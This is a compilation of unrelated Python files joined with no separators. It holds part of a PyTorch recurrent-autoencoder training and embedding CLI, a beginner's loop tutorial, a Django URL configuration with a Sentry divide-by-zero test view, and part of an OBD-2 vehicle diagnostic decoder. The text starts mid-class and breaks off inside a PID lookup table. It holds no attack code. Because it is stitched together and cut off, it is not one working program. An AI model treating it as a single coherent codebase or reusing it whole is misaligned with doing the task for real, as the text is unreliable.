    def forward(self, x: torch.Tensor) -> Tuple[torch.Tensor, torch.Tensor]:
        # x (B, T, F)
        targets = x.flip(1)

        num_directions = 2 if self.bidirectional_encoder else 1
        encoder_h = torch.zeros(
            self.n_layers * num_directions, x.size(0), self.n_units, device=x.device
        )
        _, encoder_h = self.encoder(
            F.dropout(x, self.dropout, self.training), encoder_h
        )
        encoder_h = torch.cat(encoder_h.unbind(), -1)

        representation = self.representation(encoder_h)

        num_directions = 2 if self.bidirectional_decoder else 1
        decoder_h = torch.stack(
            representation.chunk(self.n_layers * num_directions, -1)
        )

        decoder_input = F.pad(targets[:, :-1, :], [0, 0, 1, 0])
        decoder_seq, _ = self.decoder(
            F.dropout(decoder_input, self.dropout, self.training), decoder_h
        )
        decoder_seq = F.dropout(decoder_seq, self.dropout, self.training)

        reconstruction = self.reconstruction(decoder_seq)
        reconstruction = reconstruction.flip(1)
        return reconstruction, representation

def _get_latest_save(directory: Union[str, Path]) -> Path:
    """Gets the path to the latest model checkpoint, assuming it was saved with
    the format 'model-XXXX.pt'
    """
    directory = Path(directory)
    saves = list(directory.glob("model-*.pt"))
    if len(saves) == 0:
        raise FileNotFoundError(f"No save files found in directory {directory}")
    return max(saves, key=lambda p: int(p.stem.split("-")[1]))

def _save_model(
    directory: Union[Path, str],
    epoch: int,
    model: TimeRecurrentAutoencoder,
    model_args: Dict[str, Any],
    optimiser: Adam,
    optimiser_args: Dict[str, Any],
):
    """Saves the given model and associated training parameters."""
    save_path = Path(directory) / f"model-{epoch:04d}.pt"
    torch.save(
        {
            "epoch": epoch,
            "model_state_dict": model.state_dict(),
            "model_args": model_args,
            "optimiser_state_dict": optimiser.state_dict(),
            "optimiser_args": optimiser_args,
        },
        save_path,
    )
    print(f"Saved model to {save_path}.")

def _scale(x, low: float = -1, high: float = 1):
    xmin = np.min(x, axis=(1, 2), keepdims=True)
    xmax = np.max(x, axis=(1, 2), keepdims=True)
    return (high - low) * (x - xmin) / (xmax - xmin) + low

def _get_data(path: PathOrStr, shuffle: bool = False):
    """Get data and metadata from netCDF dataset. Optionally shuffle x."""
    dataset = read_features(path)
    x = dataset.features
    names = np.array(dataset.names)

    if shuffle:
        perm = np.random.default_rng().permutation(len(x))
        x = x[perm]
        names = names[perm]

    x = _scale(x, -1, 1)
    return x, names, dataset.corpus

@click.command()
@click.argument("input", type=click.Path(exists=True, dir_okay=False, path_type=Path))
@click.option("--logs", type=Path, required=True)
@click.option("--layers", type=int, default=2)
@click.option("--units", type=int, default=256)
@click.option("--dropout", type=float, default=0.2)
@click.option("--bidirectional_encoder", is_flag=True)
@click.option("--bidirectional_decoder", is_flag=True)
@click.option("--batch_size", type=int, default=64)
@click.option("--epochs", type=int, default=50)
@click.option("--learning_rate", type=float, default=0.001)
@click.option("--valid_fraction", type=float, default=0.1)
@click.option("--continue", "cont", is_flag=True)
@click.option("--save_every", type=int, default=20)
@click.option("--device", type=str, default="cuda")
def train(
    input: Path,
    logs: Path,
    layers: int,
    units: int,
    dropout: float,
    bidirectional_encoder: bool,
    bidirectional_decoder: bool,
    batch_size: int,
    epochs: int,
    learning_rate: float,
    valid_fraction: float,
    cont: bool,
    save_every: int,
    device: str,
):
    print("Reading input from {}".format(input))
    x = _get_data(input, shuffle=True)[0]
    x = torch.tensor(x)

    n_valid = int(valid_fraction * x.size(0))
    train_data = TensorDataset(x[n_valid:])
    valid_data = TensorDataset(x[:n_valid])
    train_dl = DataLoader(
        train_data, batch_size=batch_size, shuffle=True, pin_memory=True
    )
    valid_dl = DataLoader(valid_data, batch_size=batch_size, pin_memory=True)

    if cont:
        save_path = _get_latest_save(logs)
        load_dict = torch.load(save_path)
        model_args = load_dict["model_args"]
        optimiser_args = load_dict["optimiser_args"]
        initial_epoch = 1 + load_dict["epoch"]
    else:
        model_args = dict(
            n_features=x.size(2),
            n_units=units,
            n_layers=layers,
            dropout=dropout,
            bidirectional_encoder=bidirectional_encoder,
            bidirectional_decoder=bidirectional_decoder,
        )
        optimiser_args = dict(lr=learning_rate, eps=1e-5)
        initial_epoch = 1
    final_epoch = initial_epoch + epochs - 1

    model = TimeRecurrentAutoencoder(**model_args)
    model = model.to(device=device)
    optimiser = Adam(model.parameters(), **optimiser_args)

    if cont:
        print(f"Restoring model from {save_path}")
        model.load_state_dict(load_dict["model_state_dict"])
        optimiser.load_state_dict(load_dict["optimiser_state_dict"])

    logs.mkdir(parents=True, exist_ok=True)
    train_writer = SummaryWriter(logs / "train")
    valid_writer = SummaryWriter(logs / "valid")
    with torch.no_grad():
        batch = next(iter(train_dl))[0].to(device=device)
        train_writer.add_graph(model, input_to_model=batch)

    for epoch in range(initial_epoch, final_epoch + 1):
        start_time = time.perf_counter()
        model.train()
        train_losses = []
        for (x,) in tqdm(
            train_dl, desc=f"Epoch {epoch:03d}", unit="batch", leave=False
        ):
            x = x.to(device=device)
            optimiser.zero_grad()
            reconstruction, representation = model(x)

            loss = F.mse_loss(x, reconstruction, reduction="mean")
            train_losses.append(loss.item())

            loss.backward()
            # Clip gradients to [-2, 2]
            nn.utils.clip_grad_value_(model.parameters(), 2)
            optimiser.step()
        train_time = time.perf_counter() - start_time
        train_loss = np.mean(train_losses)

        model.eval()
        with torch.no_grad():
            valid_losses = []
            it = iter(valid_dl)

            # Get loss and write summaries for first batch
            x = next(it)[0].to(device=device)
            reconstruction, representation = model(x)
            loss = F.mse_loss(x, reconstruction, reduction="mean")
            valid_losses.append(loss.item())

            if epoch % 10 == 0:
                images = torch.cat([x, reconstruction], 2).unsqueeze(-1)
                images = (images + 1) / 2
                images = images[:20]
                valid_writer.add_images(
                    "reconstruction", images, global_step=epoch, dataformats="NHWC"
                )
                valid_writer.add_histogram(
                    "representation", representation, global_step=epoch
                )

            # Just get the loss for the rest, no summaries
            for (x,) in it:
                x = x.to(device=device)
                reconstruction, representation = model(x)
                loss = F.mse_loss(x, reconstruction, reduction="mean")
                valid_losses.append(loss.item())
            valid_loss = np.mean(valid_losses)

            train_writer.add_scalar("loss", train_loss, global_step=epoch)
            valid_writer.add_scalar("loss", valid_loss, global_step=epoch)

            end_time = time.perf_counter() - start_time
            mean_time = train_time / len(train_dl)
            print(
                f"Epoch {epoch:03d}: {end_time:.2f}s ({mean_time:.2f}s per "
                f"batch), train loss: {train_loss:.4f}, valid loss: "
                f"{valid_loss:.4f}"
            )

        if epoch % save_every == 0:
            _save_model(
                logs,
                epoch=epoch,
                model=model,
                model_args=model_args,
                optimiser=optimiser,
                optimiser_args=optimiser_args,
            )

    _save_model(
        logs,
        epoch=final_epoch,
        model=model,
        model_args=model_args,
        optimiser=optimiser,
        optimiser_args=optimiser_args,
    )

@click.command()
@click.argument("input", type=click.Path(exists=True, dir_okay=False, path_type=Path))
@click.argument("output", type=Path)
@click.option(
    "--model",
    "model_path",
    required=True,
    type=click.Path(exists=True, dir_okay=False, path_type=Path),
)
@click.option("--batch_size", type=int, default=128)
@click.option("--device", type=str, default="cuda")
def generate(
    input: Path, output: Path, model_path: Path, batch_size: int, device: str = "cuda"
):
    if model_path.is_dir():
        save_path = _get_latest_save(model_path)
    else:
        save_path = model_path
    print(f"Restoring model from {save_path}")
    load_dict = torch.load(save_path)
    model = TimeRecurrentAutoencoder(**load_dict["model_args"])
    model.cuda()
    model.load_state_dict(load_dict["model_state_dict"])

    x, names, corpus = _get_data(input)

    representations = np.empty((len(x), model.embedding_size))
    with torch.no_grad():
        model.eval()
        for i in range(0, len(x), batch_size):
            batch = torch.tensor(x[i : i + batch_size], device=device)
            _, representation = model(batch)
            representations[i : i + batch_size, :] = representation.cpu()

    feature_names = [f"audeep{i + 1}" for i in range(representations.shape[-1])]
    write_features(
        output,
        corpus=corpus,
        names=names,
        features=representations,
        feature_names=feature_names,
    )
    print(f"Wrote netCDF4 file to {output}")

@click.group(no_args_is_help=True)
def main():
    import os

    os.environ["TF_CPP_MIN_LOG_LEVEL"] = "1"
    # Workaround for having both PyTorch and TensorFlow installed.
    import tensorboard.compat.tensorflow_stub.io.gfile as _gfile
    import tensorflow as _tensorflow

    _tensorflow.io.gfile = _gfile

main.add_command(generate)
main.add_command(train)

if __name__ == "__main__":
    main()


# Basics (meant for ide)
# By Julian

# FOR LOOPS
for i in range(10):    # Iterates and prints 0 through 9
    print(i)

print("\n")

for i in range(5,10):  # Iterates and prints 5 through 9
    print(i)           # Variables declared with a for loop only exist within that for loop

print("\n")

months = ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec", ]
for i in months:
    print(i)           # Print each item of the list

print("\n")

for i in "Hello World":
    print(i)

print("\n")

# WHILE LOOPS
def loop ():
    live = True
    a = 0
    while live:
        numbers = [1,2,3,4,5]
        for i in numbers:
            a = i
            print(i)
            if a == 5:
                live = False
            print("Hello World")

loop()

# EXAMPLE OF A FUNCTIONING LOOP

for i in range(1, 20):
    string = ""
    if i % 3 == 0:
        string += "fizz"
    if i % 5 == 0:
        string += "buzz"
    elif i % 3 != 0:
        string = i
    print(string)


from django.conf import settings
from django.conf.urls.static import static
from django.contrib import admin
from django.urls import include, path

from apps.account import views as account_views
from apps.apply import views as apply_views

def trigger_error(request):
    division_by_zero = 1 / 0

urlpatterns = [
    path("admin/", admin.site.urls),
    path("", apply_views.TitleView.as_view()),
    # Login
    path("login/", account_views.LoginView.as_view()),
    path("signup/", account_views.SignupView.as_view()),
    path("account/", include("django.contrib.auth.urls")),
    # apply
    path("apply/<int:apply_type>/", apply_views.ApplyView.as_view()),
    # scoring
    path("internal/list/", apply_views.ApplyListView.as_view()),
    path("internal/list/<int:pk>/", apply_views.ApplyDetailView.as_view()),
    path('sentry-debug/', trigger_error),
]

if settings.DEBUG:
    urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)


from __future__ import print_function, division

import inspect

from ripyl.decode import *
from ripyl.streaming import *
from ripyl.util.enum import Enum
from ripyl.util.bitops import split_bits

class OBD2MsgType(Enum):
    '''Enumeration for message types'''
    Request = 0
    Response = 1
    Unknown = 2

class OBD2Message(object):
    '''Abstract base class for OBD-2 messages

    This is to be specialized in each protocol implementation.
    '''
    def __init__(self, msg_type):
        self.msg_type = msg_type

    def checksum_good(self):
        '''Validate the message checksum

        Returns a bool that is True when checksum is valid.
        '''
        raise NotImplementedError

    def raw_data(self, full_message=False):
        '''Get the raw data for the message

        full_message (bool)
            Returns complete message including header and checksum when true

        Returns a list of bytes.
        '''
        raise NotImplementedError

    @property
    def start_time(self):
        '''Message start time'''
        raise NotImplementedError

    @property
    def end_time(self):
        '''Message end time'''
        raise NotImplementedError

class OBD2StreamMessage(StreamSegment):
    '''Encapsulates an OBD2Message object into a StreamSegment'''

    def __init__(self, msg, status=StreamStatus.Ok):
        '''
        bounds ((float, float))
            2-tuple (start_time, end_time) for the packet

        msg (OBD2Message)
            OBD2Message object to wrap in a StreamSegment

        status (int)
            Status code for the packet

        '''
        StreamSegment.__init__(self, (None, None), status=status)
        self.data = msg

        self.kind = 'OBD-2 message'

    @classmethod
    def status_text(cls, status):
        return StreamSegment.status_text(status)

    @property
    def msg(self):
        return self.data

    @property
    def start_time(self):
        '''Message start time'''
        return self.msg.start_time

    @start_time.setter
    def start_time(self, value):
        pass

    @property
    def end_time(self):
        '''Message end time'''
        return self.msg.end_time

    @end_time.setter
    def end_time(self, value):
        pass

    def __repr__(self):
        status_text = OBD2StreamMessage.status_text(self.status)
        return 'OBD2StreamMessage({}, {})'.format(self.msg, status_text)

class OBD2StreamTransfer(StreamSegment):
    '''Represent a collection of messages involved in a request/response transaction.'''
    def __init__(self, messages, status=StreamStatus.Ok):
        '''
        messages (sequence of OBD2StreamMessage)
            A sequence of OBD2StreamMessage objects that form a transfer
        '''
        StreamSegment.__init__(self, (None, None), status=status)
        self.subrecords = messages
        self.kind = 'OBD-2 transfer'

    @property
    def start_time(self):
        return self.subrecords[0].start_time

    @start_time.setter
    def start_time(self, value):
        pass

    @property
    def end_time(self):
        return self.subrecords[-1].end_time

    @end_time.setter
    def end_time(self, value):
        pass

def reconstruct_obd2_transfers(records):
    '''Aggregate a stream of OBD2StreamMessage objects into OBD2StreamTransfers.

    A transfer consists of a request message followed by 0 or more responses from
    each ECU on the bus. A new transfer starts with every request message. Objects
    other than OBD2StreamMessage are passed through unchanged

    records (sequence of OBD2StreamMessage)
        The message objects to reconstruct the transfers from.

    Yields a stream of OBD2StreamTransfer objects containing aggregated messages
      from the input records and any additional non-message stream objects.
    '''
    tfer_msgs = []

    for r in records:
        if isinstance(r, OBD2StreamMessage):
            if r.msg.msg_type == OBD2MsgType.Request:
                if len(tfer_msgs) > 0:
                    # yield the last transfer
                    yield OBD2StreamTransfer(tfer_msgs)

                tfer_msgs = [r] # start a new transfer

            else: # response
                # Add it to the list of transfers
                tfer_msgs.append(r)

        else: # not an OBD-2 message object
            if len(tfer_msgs) > 0:
                # yield the last transfer
                yield OBD2StreamTransfer(tfer_msgs)
                tfer_msgs = []

            # yield the object
            yield r

    if len(tfer_msgs) > 0:
        # yield the last transfer
        yield OBD2StreamTransfer(tfer_msgs)

#### OBD-2 message decoding

obd2_command_decoders = {}

def decode_obd2_command(msg_type, raw_data):
    '''Decode the contents of an OBD-2 message

    msg_type (OBD2MsgType)
        The type of message (request or response) to be decoded.

    raw_data (sequence of ints)
        The bytes forming the message

    Returns a 3-tuple containing a string description, a parameter value, and a string for
      parameter units. The parameter value is None for request messages and for response
      messages with no defined decode routine.
    '''
    result = None
    for de in _obd2_command_decoders.itervalues():
        result = de(msg_type, raw_data)
        if result is not None:
            break

    return result

def register_command_decoder(name, func):
    '''Add a decoder function for additional manufacturer specific SIDs

    name (string)
        The name of the command set to register the decoder under.

    func (function(OBD2MsgType, (int,...)))
        A Python function object that will be called as a command decoder.
    '''
    if name not in _obd2_command_decoders.iterkeys():
        _obd2_command_decoders[name] = func

sid_decoders = {}

def _obd2_std_command_decoder(msg_type, raw_data):
    '''Decode the standard OBD-2 SIDs defined in the J1979 standard
    msg_type (OBD2MsgType)
        The type of message (request or response) to be decoded.

    raw_data (sequence of ints)
        The bytes forming the message
    '''
    sid = raw_data[0]
    if msg_type == OBD2MsgType.Response:
        sid -= 0x40

    if sid in sid_decoders.iterkeys():
        return sid_decoders[sid](msg_type, raw_data)
    else:
        return None

_obd2_command_decoders = {'obd-2 standard': _obd2_std_command_decoder}

def _get_supported_pids(offset, a, b, c, d):
    '''Decode the response to SID 0x01 PID 0x00, 0x20, 0x40, 0x60 requests

    offset (int)
        The offset for the PID (0x00, 0x20, etc.)

    a,b,c,d (sequence of ints)
        The four bytes of the response

    Returns a sequence of integers for each suported PID.
    '''
    merged_code = ((a*256 + b)*256 +c)*256 + d
    pid_bits = split_bits(merged_code, 32)

    pids = []
    for i, b in enumerate(pid_bits):
        if b == 1:
            pids.append(i+1+offset)

    return pids

def _get_status(a, b, c, d):
    '''Decode response for sid 0x01, pid 0x01'''
    r = {}
    r['DTC count'] = a & 0x7F
    r['MIL status'] = True if a & 0x80 else False

    r['spark ignition'] = False if b & 0x08 else True
    test_available = [bool(v) for v in split_bits(b & 0x07, 3)]
    test_incomplete = [bool(v) for v in split_bits((b & 0x70) >> 4, 3)]
    common_tests = ['misfire', 'fuel system', 'components']
    tests = {}
    for tname, ta, tc in zip(common_tests, test_available, test_incomplete):
        #print('## test', tname, ta, tc)
        tests[tname] = (ta, tc)

    if r['spark ignition']:
        spark_tests = ['catalyst', 'heated catalyst', 'evap. system', \
            'secondary air system', 'A/C refrigerant', 'oxygen sensor', \
            'oxygen sensor heater', 'EGR system']
        test_available = [bool(v) for v in split_bits(c, 8)]
        test_incomplete = [bool(v) for v in split_bits(d, 8)]
        #print('## ta', test_available, test_complete)

        for tname, ta, tc in zip(spark_tests, test_available, test_incomplete):
            #print('## test', tname, ta, tc)
            tests[tname] = (ta, tc)

    else: #compression
        compression_tests = [('NMHC cat', 0), ('NOx/SCR meter', 1), ('boost pressure', 3), \
            ('exhaust gas sensor', 5), ('PM filter monitoring', 6), ('EGR and/or VVT system', 7)]

        test_available = [bool(v) for v in reversed(split_bits(c, 8))]
        test_incomplete = [bool(v) for v in reversed(split_bits(d, 8))]

        for tname, i in compression_tests:
            #print('## test', tname, test_available[i], test_incomplete[i])
            tests[tname] = (test_available[i], test_incomplete[i])

    r['tests'] = tests

    return r

def decode_dtc(dtc):
    '''Convert encoded DTC to a string

    dtc (int)
        The binary coded DTC.

    Returns a string representing the DTC in readable form.
    '''

    class_codes = {0: 'P', 1:'C', 2:'B', 3:'U'}
    dtc_class = class_codes[(dtc >> 14) & 0x3]
    digits = [(dtc >> 12) & 0x3, (dtc >> 8) & 0xF, (dtc >> 4) & 0xF, dtc & 0xF]
    # convert BCD to hex
    h_digits = ['{:X}'.format(d) for d in digits]

    return dtc_class + ''.join(h_digits)

def _get_freeze_dtc(a, b):
    '''Decode response for sid 0x01, pid 0x02'''
    code = a*256 + b
    if code > 0:
        return decode_dtc(code)
    else:
        return None

def _get_fuel_status(a, b):
    '''Decode response for sid 0x01, pid 0x03'''
    r = {}

    status_codes = ['Open loop due to insufficient engine temperature', \
        'Closed loop, using oxygen sensor feedback to determine fuel mix', \
        'Open loop due to engine load OR fuel cut due to deceleration', \
        'Open loop due to system failure', \
        'Closed loop, using at least one oxygen sensor but there is a fault in the feedback system']

    for system, byte in [('fuel1', a), ('fuel2', b)]:
        # decode the status. This is a one-hot encoding in bits 0-4
        if byte & 0x01:
            r[system] = status_codes[0]
        elif byte & 0x02:
            r[system] = status_codes[1]
        elif byte & 0x04:
            r[system] = status_codes[2]
        elif byte & 0x08:
            r[system] = status_codes[3]
        elif byte & 0x10:
            r[system] = status_codes[4]

    return r

def _get_sai_status(a):
    '''Decode response for sid 0x01, pid 0x12'''
    status_codes = ['Upstream of catalytic converter', \
        'Downstream of catalytic converter', \
        'From the outside atmosphere or off' ]
    r = None

    if a & 0x01:
        r = status_codes[0]
    elif a & 0x02:
        r = status_codes[1]
    elif a & 0x04:
        r = status_codes[2]

    return r

def _get_o2_sensors_13(a):
    '''Decode response from sid 0x01, pid 0x13'''

    sensors = {
        'b1s1': False, 'b1s2': False, 'b1s3': False, 'b1s4': False,
        'b2s1': False, 'b2s2': False, 'b2s3': False, 'b2s4': False,
    }

    if a & 0x01: sensors['b1s1'] = True
    if a & 0x02: sensors['b1s2'] = True
    if a & 0x04: sensors['b1s3'] = True
    if a & 0x08: sensors['b1s4'] = True

    if a & 0x10: sensors['b2s1'] = True
    if a & 0x20: sensors['b2s2'] = True
    if a & 0x40: sensors['b2s3'] = True
    if a & 0x80: sensors['b2s4'] = True

    return sensors

_obd2_standards = {
    0x01: 'OBD-II as defined by the CARB',
    0x02: 'OBD as defined by the EPA',
    0x03: 'OBD and OBD-II',
    0x04: 'OBD-I',
    0x05: 'Not meant to comply with any OBD standard',
    0x06: 'EOBD (Europe)',
    0x07: 'EOBD and OBD-II',
    0x08: 'EOBD and OBD',
    0x09: 'EOBD, OBD and OBD II',
    0x0A: 'JOBD (Japan)',
    0x0B: 'JOBD and OBD II',
    0x0C: 'JOBD and EOBD',
    0x0D: 'JOBD, EOBD, and OBD II'
}

def _get_supported_standards(a):
    '''Decode response from sid 0x01, pid 0x1C'''

    if a in _obd2_standards.iterkeys():
        return _obd2_standards[a]
    else:
        return 'unknown'

def _get_o2_sensors_1d(a):
    '''Decode response from sid 0x01, pid 0x1D'''

    sensors = {
        'b1s1': False, 'b1s2': False, 'b2s1': False, 'b2s2': False,
        'b3s1': False, 'b3s2': False, 'b4s1': False, 'b4s2': False,
    }

    if a & 0x01: sensors['b1s1'] = True
    if a & 0x02: sensors['b1s2'] = True
    if a & 0x04: sensors['b2s1'] = True
    if a & 0x08: sensors['b2s2'] = True

    if a & 0x10: sensors['b3s1'] = True
    if a & 0x20: sensors['b3s2'] = True
    if a & 0x40: sensors['b4s1'] = True
    if a & 0x80: sensors['b4s2'] = True

    return sensors

def _get_drive_cycle_status(a, b, c, d):
    '''Decode response for sid 0x01, pid 0x41'''

    test_available = [bool(v) for v in split_bits(b & 0x0F, 4)]
    test_incomplete = [bool(v) for v in split_bits((b & 0xF0) >> 4, 4)]
    b_tests = ['misfire', 'fuel system', 'components', 'reserved_in_b']

    tests = {}
    for tname, ta, tc in zip(b_tests, test_available, test_incomplete):
        tests[tname] = (ta, tc)

    test_available = [bool(v) for v in split_bits(c, 8)]
    test_incomplete = [bool(v) for v in split_bits(d, 8)]

    spark_tests = ['catalyst', 'heated catalyst', 'evap. system', \
        'secondary air system', 'A/C refrigerant', 'oxygen sensor', \
        'oxygen sensor heater', 'EGR system']

    for tname, ta, tc in zip(spark_tests, test_available, test_incomplete):
        tests[tname] = (ta, tc)

    return tests

class PIDTableEntry(object):
    '''Data structure for string PID decode info'''
    def __init__(self, bytes_returned, description, units='', decoder=None):
        self.bytes_returned = bytes_returned
        self.description = description
        self.units = units
        self.decoder = decoder

PTE = PIDTableEntry

sid_01_pids = {
    0x00 : PTE(4, 'PIDs supported [01 - 20]', '', lambda a, b, c, d: _get_supported_pids(0x00, a, b, c, d)),
    0x01 : PTE(4, 'Monitor status since DTCs cleared', '', lambda a, b, c, d: _get_status(a, b, c, d)),
    0x02 : PTE(2, 'Freeze DTC', '', lambda a, b: _get_freeze_dtc(a, b)),
    0x03 : PTE(2, 'Fuel system status', '', lambda a, b: _get_fuel_status(a, b)),
    0x04 : PTE(1, 'Calculated engine load value', '%', lambda a: a*100.0/255.0),
    0x05 : PTE(1, 'Engine coolant temperature', 'C', lambda a: a-40.0),
    0x06 : PTE(1, 'Short term fuel % trim-Bank 1', '%', lambda a: (a-128)*100.0/128.0),
    0x07 : PTE(1, 'Long term fuel % trim-Bank 1', '%', lambda a: (a-128)*100.0/128.0),
    0x08 : PTE(1, 'Short term fuel % trim-Bank 2', '%', lambda a: (a-128)*100.0/128.0),
    0x09 : PTE(1, 'Long term fuel % trim-Bank 2', '%', lambda a: (a-128)*100.0/128.0),
    0x0A : PTE(1, 'Fuel pressure', 'kPa', lambda a: a*3.0),
    0x0B : PTE(1, 'Intake manifold absolute pressure', 'kPa', lambda a: float(a)),
    0x0C : PTE(2, 'Engine RPM', 'rpm', lambda a, b: (a*256 + b)/4.0),
    0x0D : PTE(1, 'Vehicle speed', 'km/h', lambda a: float(a)),
    0x0E : PTE(1, 'Timing advance', 'degrees', lambda a: a/2.0 - 64.0),
    0x0F : PTE(1, 'Intake air temperature', 'C', lambda a: a-40.0),

    0x10 : PTE(2, 'MAF air flow rate', 'g/s', lambda a, b: (a*256 + b) / 100.0),
    0x11 : PTE(1, 'Throttle position', '%', lambda a: a*100.0/255.0),
    0x12 : PTE(1, 'Commanded secondary air status', '', lambda a: _get_sai_status(a)),
    0x13 : PTE(1, 'Oxygen sensors present', '', lambda a: _get_o2_sensors_13(a)),
    0x14 : PTE(2, 'Bank 1, Sensor 1: Oxygen sensor voltage, Short term fuel trim', ('V', '%'), lambda a, b: (a/200.0, None if b == 0xFF else (b-128)*100.0/128.0)),
    0x15 : PTE(2, 'Bank 1, Sensor 2: Oxygen sensor voltage, Short term fuel trim', ('V', '%'), lambda a, b: (a/200.0, None if b == 0xFF else (b-128)*100.0/128.0)),
    0x16 : PTE(2, 'Bank 1, Sensor 3: Oxygen sensor voltage, Short term fuel trim', ('V', '%'), lambda a, b: (a/200.0, None if b == 0xFF else (b-128)*100.0/128.0)),
    0x17 : PTE(2, 'Bank 1, Sensor 4: Oxygen sensor voltage, Short term fuel trim', ('V', '%'), lambda a, b: (a/200.0, None if b == 0xFF else (b-128)*100.0/128.0)),
    0x18 : PTE(2, 'Bank 2, Sensor 1: Oxygen sensor voltage, Short term fuel trim', ('V', '%'), lambda a, b: (a/200.0, None if b == 0xFF else (b-128)*100.0/128.0)),
    0x19 : PTE(2, 'Bank 2, Sensor 2: Oxygen sensor voltage, Short term fuel trim', ('V', '%'), lambda a, b: (a/200.0, None if b == 0xFF else (b-128)*100.0/128.0)),
    0x1A : PTE(2, 'Bank 2, Sensor 3: Oxygen sensor voltage, Short term fuel trim', ('V', '%'), lambda a, b: (a/200.0, None if b == 0xFF else (b-128)*100.0/128.0)),
    0x1B : PTE(2, 'Bank 2, Sensor 4: Oxygen sensor voltage, Short term fuel trim', ('V', '%'), lambda a, b: (a/200.0, None if b == 0xFF else (b-128)*100.0/128.0)),
    0x1C : PTE(1, 'OBD standards this vehicle conforms to', '', lambda a: _get_supported_standards(a)),
    0x1D : PTE(1, 'Oxygen sensors present', '', lambda a: _get_o2_sensors_1d(a)),
    0x1E : PTE(1, 'Auxiliary input status', '', lambda a: {'PTO active': bool(a & 0x01)}),
    0x1F : PTE(2, 'Run time since engine start', 's', lambda a, b: a*256 + b),

    0x20 : PTE(4, 'PIDs supported [21 - 40]', '', lambda a, b, c, d: _get_supported_pids(0x20, a, b, c, d)),
    0x21 : PTE(2, 'Distance traveled with malfunction indicator lamp (MIL) on', 'km', lambda a, b: a*256 + b),
    0x22 : PTE(2, 'Fuel Rail Pressure (relative to manifold vacuum)', 'kPa', lambda a, b: (a*256 + b) * 0.079),
    0x23 : PTE(2, 'Fuel Rail Pressure (diesel, or gasoline direct inject)', 'kPa', lambda a, b: (a*256 + b) * 10.0),
    0x24 : PTE(4, 'O2S1: Equivalence Ratio, Voltage', ('', 'V'), lambda a, b, c, d: ((a*256+b) / 32768.0, (c*256+d) / 8192.0)),
    0x25 : PTE(4, 'O2S2: Equivalence Ratio, Voltage', ('', 'V'), lambda a, b, c, d: ((a*256+b) / 32768.0, (c*256+d) / 8192.0)),
    0x26 : PTE(4, 'O2S3: Equivalence Ratio, Voltage', ('', 'V'), lambda a, b, c, d: ((a*256+b) / 32768.0, (c*256+d) / 8192.0)),
    0x27 : PTE(4, 'O2S4: Equivalence Ratio, Voltage', ('', 'V'), lambda a, b, c, d: ((a*256+b) / 32768.0, (c*256+d) / 8192.0)),
    0x28 : PTE(4, 'O2S5: Equivalence Ratio, Voltage', ('', 'V'), lambda a, b, c, d: ((a*256+b) / 32768.0, (c*256+d) / 8192.0)),
    0x29 : PTE(4, 'O2S6: Equivalence Ratio, Voltage', ('', 'V'), lambda a, b, c, d: ((a*256+b) / 32768.0, (c*256+d) / 8192.0)),
    0x2A : PTE(4, 'O2S7: Equivalence Ratio, Voltage', ('', 'V'), lambda a, b, c, d: ((a*256+b) / 32768.0, (c*256+d) / 8192.0)),
    0x2B : PTE(4, 'O2S8: Equivalence Ratio, Voltage', ('', 'V'), lambda a, b, c, d: ((a*256+b) / 32768.0, (c*256+d) / 8192.0)),
    0x2C : PTE(1, 'Commanded EGR', '%', lambda a: a*100.0/255.0),
    0x2D : PTE(1, 'EGR Error', '%', lambda a: (a-128)*100.0/128.0),
    0x2E : PTE(1, 'Commanded evaporative purge', '%', lambda a: a*100.0/255.0),
    0x2F : PTE(1, 'Fuel Level Input', '%', lambda a: a*100.0/255.0),

    0x30 : PTE(1, '# of warm-ups since codes cleared', '', lambda a: a),
    0x31 : PTE(2, 'Distance traveled since codes cleared', 'km', lambda a, b: a*256 + b),
    0x32 : PTE(2, 'Evap. System Vapor Pressure', 'Pa', lambda a, b: ((a if a <= 127 else a-256)*256+(b if b <= 127 else b-256))/4.0),
    0x33 : PTE(1, 'Barometric pressure', 'kPa', lambda a: float(a)),
    0x34 : PTE(4, 'O2S1: Equivalence Ratio, Current', ('', 'mA'), lambda a, b, c, d: ((a*256+b)/32768.0, (a*256+b)/256.0 - 128.0)),
    0x35 : PTE(4, 'O2S2: Equivalence Ratio, Current', ('', 'mA'), lambda a, b, c, d: ((a*256+b)/32768.0, (a*256+b)/256.0 - 128.0)),
    0x36 : PTE(4, 'O2S3: Equivalence Ratio, Current', ('', 'mA'), lambda a, b, c, d: ((a*256+b)/32768.0, (a*256+b)/256.0 - 128.0)),
    0x37 : PTE(4, 'O2S4: Equivalence Ratio, Current', ('', 'mA'), lambda a, b, c, d: ((a*256+b)/32768.0, (a*256+b)/256.0 - 128.0)),
    0x38 : PTE(4, 'O2S5: Equivalence Ratio, Current', ('', 'mA'), lambda a, b, c, d: ((a*256+b)/32768.0, (a*256+b)/256.0 - 128.0)),
    0x39 : PTE(4, 'O2S6: Equivalence Ratio, Current', ('', 'mA'), lambda a, b, c, d: ((a*256+b)/32768.0, (a*256+b)/256.0 - 128.0)),
    0x3A : PTE(4, 'O2S7: Equivalence Ratio, Current', ('', 'mA'), lambda a, b, c, d: ((a*256+b)/32768.0, (a*256+b)/256.0 - 128.0)),
    0x3B : PTE(4, 'O2S8: Equivalence Ratio, Current', ('', 'mA'), lambda a, b, c, d: ((a*256+b)/32768.0, (a*256+b)/256.0 - 128.0)),
    0x3C : PTE(2, 'Catalyst Temperature Bank 1, Sensor 1', 'C', lambda a, b: (a*256+b)/10.0 -40.0),
    0x3D : PTE(2, 'Catalyst Temperature Bank 1, Sensor 2', 'C', lambda a, b: (a*256+b)/10.0 -40.0),
    0x3E : PTE(2, 'Catalyst Temperature Bank 2, Sensor 1', 'C', lambda a, b: (a*256+b)/10.0 -40.0),
    0x3F : PTE(2, 'Catalyst Temperature Bank 2, Sensor 2', 'C', lambda a, b: (a*256+b)/10.0 -40.0),

    0x40 : PTE(4, 'PIDs supported [41 - 60]', '', lambda a, b, c, d: _get_supported_pids(0x40, a, b, c, d)),
    0x41 : PTE(4, 'Monitor status this drive cycle', '', lambda a, b, c, d: _get_drive_cycle_status(a, b, c, d)),
    0x42 : PTE(2, 'Control module voltage', 'V', lambda a, b: (a*256+b)/1000.0),
    0x43 : PTE(2, 'Absolute load value', '%', lambda a, b: (a*256+b)*100.0/255.0),
    0x44 : PTE(2, 'Command equivalence ratio', '', lambda a, b: (a*255+b)/32768.0),
